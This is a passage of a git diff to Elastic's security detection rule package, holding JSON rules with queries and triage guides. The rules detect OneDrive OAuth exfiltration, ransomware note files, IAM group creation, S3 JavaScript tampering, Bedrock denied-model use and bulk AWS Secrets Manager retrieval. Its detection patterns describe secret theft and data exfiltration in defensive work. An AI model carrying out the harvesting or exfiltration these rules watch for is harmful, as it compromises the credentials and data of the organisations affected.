may conduct phishing campaigns to steal OAuth tokens and impersonate users. These access tokens can then be used to download files from OneDrive.", - "false_positives": [ - "Legitimate users may download files from OneDrive using OAuth authentication. Ensure that the downloads are authorized and the user is known before taking action." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "M365 OneDrive Excessive File Downloads with OAuth Token", - "note": "## Triage and Analysis\n\n### Investigating M365 OneDrive Excessive File Downloads with OAuth Token\n\nThis rule detects an excessive number of files downloaded from OneDrive using OAuth authentication. Threat actors may use OAuth phishing attacks, such as **Device Code Authentication phishing**, to obtain valid access tokens and perform unauthorized data exfiltration. This method allows adversaries to bypass traditional authentication mechanisms, making it a stealthy and effective technique.\n\nThis rule leverages ESQL aggregations which limit the field values available in the alert document. To investigate further, it is recommended to identify the original documents ingested.\n\n#### Possible Investigation Steps\n\n- Review the `o365.audit.UserId` field to identify the user who performed the downloads. Check if this user typically downloads large amounts of data from OneDrive.\n- Correlate `o365.audit.UserId` with Entra Sign-In logs to verify the authentication method used and determine if it was expected for this user.\n- Review the authentication method used. If OAuth authentication was used, investigate whether it was expected for this user.\n- Identify the client application used for authentication. Determine if it is a legitimate enterprise-approved app or an unauthorized third-party application.\n- Check the number of unique files downloaded. If a user downloads a high volume of unique files in a short period, it may indicate data exfiltration.\n- Analyze the file types and directories accessed to determine if sensitive or confidential data was involved.\n- Investigate the source IP address and geolocation of the download activity. If it originates from an unusual or anonymized location, further scrutiny is needed.\n- Review other recent activities from the same user, such as file access, sharing, or permission changes, that may indicate further compromise.\n- Check for signs of session persistence using OAuth. If Azure sign-in logs are correlated where `authentication_protocol` or `originalTransferMethod` field shows `deviceCode`, the session was established through device code authentication.\n- Look for multiple authentication attempts from different devices or locations within a short timeframe, which could indicate unauthorized access.\n- Investigate if other OAuth-related anomalies exist, such as consent grants for unfamiliar applications or unexpected refresh token activity.\n- Review the `file.directory` value from the original documents to identify the specific folders or paths where the files were downloaded.\n\n### False Positive Analysis\n\n- Verify if the user regularly downloads large batches of files as part of their job function.\n- Determine if the downloads were triggered by an authorized automated process, such as a data backup or synchronization tool.\n- Confirm if the detected OAuth application is approved for enterprise use and aligns with expected usage patterns.\n\n### Response and Remediation\n\n- If unauthorized activity is confirmed, revoke the OAuth token used and terminate active OneDrive sessions.\n- Reset the affected user's password and require reauthentication to prevent continued unauthorized access.\n- Restrict OAuth app permissions and enforce conditional access policies to limit authentication to trusted devices and applications.\n- Monitor for additional signs of compromise, such as unusual email forwarding rules, external sharing of OneDrive files, or privilege escalation attempts.\n- Educate users on OAuth phishing risks and encourage the use of **Microsoft Defender for Office 365 Safe Links** to mitigate credential-based attacks.\n- Enable continuous monitoring for OAuth authentication anomalies using **Microsoft Entra ID sign-in logs** and security tools.\n", - "query": "FROM logs-o365.audit-*\n| WHERE @timestamp > now() - 14 day\n| WHERE\n event.dataset == \"o365.audit\" and\n\n // filter on files downloaded from OneDrive\n event.provider == \"OneDrive\" and\n event.action == \"FileDownloaded\" and\n\n // filter on OAuth authentication which encompasses device code workflow\n o365.audit.AuthenticationType == \"OAuth\"\n and event.outcome == \"success\"\n// bucket authentication attempts by 1 minute\n| EVAL target_time_window = DATE_TRUNC(1 minutes, @timestamp)\n| KEEP target_time_window, o365.audit.UserId, file.name, source.ip\n\n// aggregate on unique file names and download attempts\n| STATS unique_file_count = count_distinct(file.name), download_attempt_count = count(*) BY target_time_window, o365.audit.UserId, source.ip\n\n// adjustable range for \"excessive\" unique files that were downloaded\n| WHERE unique_file_count >= 25\n", - "references": [ - "https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/" - ], - "risk_score": 47, - "rule_id": "0e524fa6-eed3-11ef-82b4-f661ea17fbce", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Data Source: Microsoft 365", - "Data Source: SharePoint", - "Data Source: OneDrive", - "Use Case: Threat Detection", - "Tactic: Collection", - "Tactic: Exfiltration", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0009", - "name": "Collection", - "reference": "https://attack.mitre.org/tactics/TA0009/" - }, - "technique": [ - { - "id": "T1530", - "name": "Data from Cloud Storage", - "reference": "https://attack.mitre.org/techniques/T1530/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "0e524fa6-eed3-11ef-82b4-f661ea17fbce_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_209.json b/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_209.json deleted file mode 100644 index a0262fee017..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_209.json +++ /dev/null @@ -1,136 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule identifies a high number (20) of file creation event by the System virtual process from the same host and with same file name containing keywords similar to ransomware note files and all within a short time period.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.file-*", - "winlogbeat-*", - "logs-windows.sysmon_operational-*", - "endgame-*", - "logs-m365_defender.event-*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Potential Ransomware Behavior - High count of Readme files by System", - "note": "## Triage and analysis\n\n#### Possible investigation steps\n\n- Investigate the content of the readme files.\n- Investigate any file names with unusual extensions.\n- Investigate any incoming network connection to port 445 on this host.\n- Investigate any network logon events to this host.\n- Identify the total number and type of modified files by pid 4.\n- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n\n### False positive analysis\n\n- Local file modification from a Kernel mode driver.\n\n### Related rules\n\n- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9\n- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921\n- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4\n- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57\n- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5\n- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.\n- If any backups were affected:\n - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.).\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "event.category:file and host.os.type:windows and process.pid:4 and event.action:creation and\n file.name:(*read*me* or *README* or *lock* or *LOCK* or *how*to* or *HOW*TO* or *@* or *recover* or *RECOVER* or *decrypt* or *DECRYPT* or *restore* or *RESTORE* or *FILES_BACK* or *files_back*)\n", - "references": [ - "https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "windows", - "version": "^3.0.0" - }, - { - "package": "m365_defender", - "version": "^3.0.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": "file.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.pid", - "type": "long" - } - ], - "risk_score": 73, - "rule_id": "1397e1b9-0c90-4d24-8d7b-80598eb9bc9a", - "severity": "high", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Impact", - "Resources: Investigation Guide", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Data Source: Microsoft Defender for Endpoint", - "Data Source: Sysmon", - "Data Source: SentinelOne" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1485", - "name": "Data Destruction", - "reference": "https://attack.mitre.org/techniques/T1485/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0008", - "name": "Lateral Movement", - "reference": "https://attack.mitre.org/tactics/TA0008/" - }, - "technique": [ - { - "id": "T1021", - "name": "Remote Services", - "reference": "https://attack.mitre.org/techniques/T1021/", - "subtechnique": [ - { - "id": "T1021.002", - "name": "SMB/Windows Admin Shares", - "reference": "https://attack.mitre.org/techniques/T1021/002/" - } - ] - } - ] - } - ], - "threshold": { - "field": [ - "host.id", - "file.name" - ], - "value": 20 - }, - "timestamp_override": "event.ingested", - "type": "threshold", - "version": 209 - }, - "id": "1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_209", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/169f3a93-efc7-4df2-94d6-0d9438c310d1_210.json b/packages/security_detection_engine/kibana/security_rule/169f3a93-efc7-4df2-94d6-0d9438c310d1_210.json new file mode 100644 index 00000000000..29a86c57434 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/169f3a93-efc7-4df2-94d6-0d9438c310d1_210.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges.", + "false_positives": [ + "A group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Group creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM Group Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS IAM Group Creation\n\nAWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. This alert fires on `CreateGroup`. New group creation may indicate attacker staging for persistence, especially if followed by policy attachments or user additions.\n\n#### Possible investigation steps\n\n- **Identify the actor and context** \n - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` to determine who performed the group creation. \n - Review `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for unusual network, client, or region usage.\n\n- **Examine the group details** \n - From `aws.cloudtrail.response_elements`, extract `groupName` and `path` (e.g., /service/, /dev/).\n - Look for immediate follow-on changes by the same actor within the next 15\u201330 minutes:\n - AttachGroupPolicy (especially AdministratorAccess or broad s3:*, iam:*).\n - AddUserToGroup (who was added and when?).\n - Use GetGroup to enumerate current group membership and attached policies during triage.\n\n- **Correlate with broader activity** \n - Look for prior suspicious actions by the same user: `AssumeRole`, `CreateAccessKey`, new IAM user/role. \n - After group creation, watch for data-access or configuration changes (e.g., S3 policy updates, KMS key policy changes) \n\n### False positive analysis\n\n- IAM onboarding workflows or DevOps pipelines creating groups for new projects can trigger this alert. \n- Test or sandbox accounts often create and delete groups routinely, validate account context and approval flows.\n\n### Response and remediation:\n\n- **Containment**: \n - If suspicious, disable further changes by the actor (temporarily remove IAM write privileges or deactivate keys).\n - Place a change freeze on the newly created group (block `AttachGroupPolicy`/`AddUserToGroup` via SCP/permissions boundary until review completes).\n\n- **Investigation and scoping**: \n - Use `GetGroup`, `ListAttachedGroupPolicies`, `ListUsersInGroup` to enumerate the group\u2019s state and identify any suspicious policies or members. Investigate any attached policies granting broad privileges. \n - Hunt for same-actor `AttachGroupPolicy`/`AddUserToGroup` events across the last 24\u201348h.\n \n- **Recovery and hardening**: \n - Delete unauthorized, unused or suspicious groups. remove rogue policies/members.\n - Restrict who can call `iam:CreateGroup`, `iam:AttachGroupPolicy`, and `iam:AddUserToGroup` (least privilege). \n\n### Additional information\n[AWS Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/)\n", + "query": "event.dataset: aws.cloudtrail and \n event.provider: iam.amazonaws.com and \n event.action: CreateGroup and \n event.outcome: success\n", + "references": [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-group.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "169f3a93-efc7-4df2-94d6-0d9438c310d1", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Use Case: Identity and Access Audit", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1136", + "name": "Create Account", + "reference": "https://attack.mitre.org/techniques/T1136/", + "subtechnique": [ + { + "id": "T1136.003", + "name": "Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1136/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "169f3a93-efc7-4df2-94d6-0d9438c310d1_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_1.json b/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_1.json deleted file mode 100644 index 1c1ac6030fe..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_1.json +++ /dev/null @@ -1,64 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects when a JavaScript file is uploaded or accessed in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend.", - "false_positives": [ - "Development or deployment pipelines that update static frontends frequently (e.g., React/Vue apps) may trigger this. Verify the user agent, source IP, and whether the modification was expected." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS S3 Static Site JavaScript File Uploaded", - "note": "## Triage and Analysis\n\n### Investigating AWS S3 Static Site JavaScript File Uploaded\n\nAn S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise.\n\n#### Possible Investigation Steps\n\n- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc).\n- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection.\n- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity).\n- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories.\n\n### False Positive Analysis\n\n- This behavior may be expected during app deployments. Look at:\n - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions).\n - Timing patterns\u2014does this match a regular release window?\n - The origin IP and device identity.\n\n### Response and Remediation\n\n- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable.\n- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user.\n- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets.\n- **Enable Bucket Versioning**: This can allow for quick rollback and historical review.\n", - "query": "from logs-aws.cloudtrail* metadata _id, _version, _index\n| where\n\n // filter on CloudTrail logs for S3 PutObject actions\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action in (\"GetObject\",\"PutObject\")\n\n // filter for IAM users, not federated identities\n and aws.cloudtrail.user_identity.type in (\"IAMUser\", \"AssumedRole\")\n\n // filter for S3 static site bucket paths from webpack or similar\n and aws.cloudtrail.request_parameters LIKE \"*static/js/*.js*\"\n\n // exclude common IaC tools and automation scripts\n and not (\n user_agent.original LIKE \"*Terraform*\"\n or user_agent.original LIKE \"*Ansible*\"\n or user_agent.original LIKE \"*Pulumni*\"\n )\n\n// extract bucket and object details from request parameters\n| dissect aws.cloudtrail.request_parameters \"%{{?bucket.name.key}=%{bucket.name}, %{?host.key}=%{bucket.host}, %{?bucket.object.location.key}=%{bucket.object.location}}\"\n\n// filter for specific bucket and object structure\n| dissect bucket.object.location \"%{}static/js/%{bucket.object}\"\n\n// filter for JavaScript files\n| where ENDS_WITH(bucket.object, \".js\")\n| keep\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.access_key_id,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.request_parameters,\n bucket.name,\n bucket.object,\n user_agent.original,\n source.ip,\n event.action,\n @timestamp\n", - "references": [ - "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html" - ], - "risk_score": 47, - "rule_id": "16acac42-b2f9-4802-9290-d6c30914db6e", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS S3", - "Tactic: Impact", - "Use Case: Web Application Compromise", - "Use Case: Cloud Threat Detection", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1565", - "name": "Data Manipulation", - "reference": "https://attack.mitre.org/techniques/T1565/", - "subtechnique": [ - { - "id": "T1565.001", - "name": "Stored Data Manipulation", - "reference": "https://attack.mitre.org/techniques/T1565/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "16acac42-b2f9-4802-9290-d6c30914db6e_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_3.json b/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_3.json deleted file mode 100644 index 1121feff212..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_3.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs.", - "false_positives": [ - "Legitimate misunderstanding by users or overly strict policies" - ], - "from": "now-60m", - "interval": "10m", - "investigation_fields": { - "field_names": [ - "user.id", - "cloud.account.id", - "gen_ai.request.model.id", - "total_denials" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User", - "note": "## Triage and analysis\n\n### Investigating Attempt to use Denied Amazon Bedrock Models.\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that attempted to use denied models.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that attempted to use denied models, is a legitimate misunderstanding by users or overly strict policies.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| where gen_ai.response.error_code == \"AccessDeniedException\"\n| keep user.id, gen_ai.request.model.id, cloud.account.id, gen_ai.response.error_code\n| stats total_denials = count(*) by user.id, gen_ai.request.model.id, cloud.account.id\n| where total_denials > 3\n| sort total_denials desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0015", - "https://atlas.mitre.org/techniques/AML.T0034", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 73, - "rule_id": "17261da3-a6d0-463c-aac8-ea1718afcd20", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "high", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Resources: Investigation Guide", - "Use Case: Policy Violation", - "Mitre Atlas: T0015", - "Mitre Atlas: T0034" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "17261da3-a6d0-463c-aac8-ea1718afcd20_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/185c782e-f86a-11ee-9d9f-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/185c782e-f86a-11ee-9d9f-f661ea17fbce_6.json new file mode 100644 index 00000000000..b0d0986483a --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/185c782e-f86a-11ee-9d9f-f661ea17fbce_6.json @@ -0,0 +1,117 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting.", + "false_positives": [ + "Verify whether the user identity, user agent, and/or hostname should be using GetSecretValue or BatchGetSecretValue APIs for the specified SecretId. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS Secrets Manager Rapid Secrets Retrieval", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it for your operational needs.\n\n### Investigating AWS Secrets Manager Rapid Secrets Retrieval\n\nAWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service \nconfiguration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as \npossible in a short timeframe to escalate privileges or move laterally across the environment.\n\nThis threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using \n`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation.\n\nNote: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself.\n\n#### Possible investigation steps\n\n- **Identify the user or role**\n - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`.\n - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload.\n\n- **Analyze the set of secrets retrieved**\n - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event.\n - Identify whether the accessed secrets include:\n - Privileged database credentials \n - IAM user or service account credentials \n - Production application secrets \n - Rarely accessed or high-sensitivity secrets \n\n- **Assess the runtime context**\n - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`.\n - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) \n or from an unexpected IP or user agent.\n\n- **Correlate with other activity from the same identity**\n - Look for related reconnaissance or credential-access events:\n - `ListSecrets`, `DescribeSecret`\n - IAM enumeration (`ListUsers`, `GetCallerIdentity`)\n - Role-chaining or unusual `AssumeRole` flows \n - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access).\n\n- **Determine whether unusual automation or deployment activity is occurring**\n - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access.\n\n### False positive analysis\n\n- Legitimate application initialization or rollouts may retrieve many secrets once on startup.\n- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping.\n\nTo reduce noise, consider exceptions based on:\n- Known service roles \n- Expected source IP ranges \n- Specific application identities tied to secret orchestration \n\n### Response and remediation\n\n- **Containment**\n - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected.\n - Quarantine EC2/ECS/Lambda resources originating suspicious calls.\n\n- **Investigation**\n - Identify all secrets accessed in the grouped alert and determine where those credentials are used.\n - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets.\n - Assess whether additional identities or workloads show similar enumeration behavior.\n\n- **Recovery and hardening**\n - Rotate all accessed secrets and update dependent systems.\n - Rotate IAM access keys or temporary credentials for the impacted identity.\n - Restrict permissions to Secrets Manager following least privilege.\n - Review automation and application behavior to ensure secrets are accessed only when required.\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"secretsmanager.amazonaws.com\" \n and event.action: \"GetSecretValue\" \n and event.outcome: \"success\" \n and not (\n user_agent.name: (\"Chrome\" or \"Firefox\" or \"Safari\" or \"Edge\" or \"Brave\" or \"Opera\") \n or source.address: (\"kafka.amazonaws.com\" or \"apidestinations.events.amazonaws.com\")\n )\n", + "references": [ + "https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html", + "https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/", + "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.address", + "type": "keyword" + }, + { + "ecs": true, + "name": "user_agent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "185c782e-f86a-11ee-9d9f-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Secrets Manager", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1555", + "name": "Credentials from Password Stores", + "reference": "https://attack.mitre.org/techniques/T1555/", + "subtechnique": [ + { + "id": "T1555.006", + "name": "Cloud Secrets Management Stores", + "reference": "https://attack.mitre.org/techniques/T1555/006/" + } + ] + } + ] + } + ], + "threshold": { + "cardinality": [ + { + "field": "aws.cloudtrail.request_parameters", + "value": 20 + } + ], + "field": [ + "user.id" + ], + "value": 1 + }, + "timestamp_override": "event.ingested", + "type": "threshold", + "version": 6 + }, + 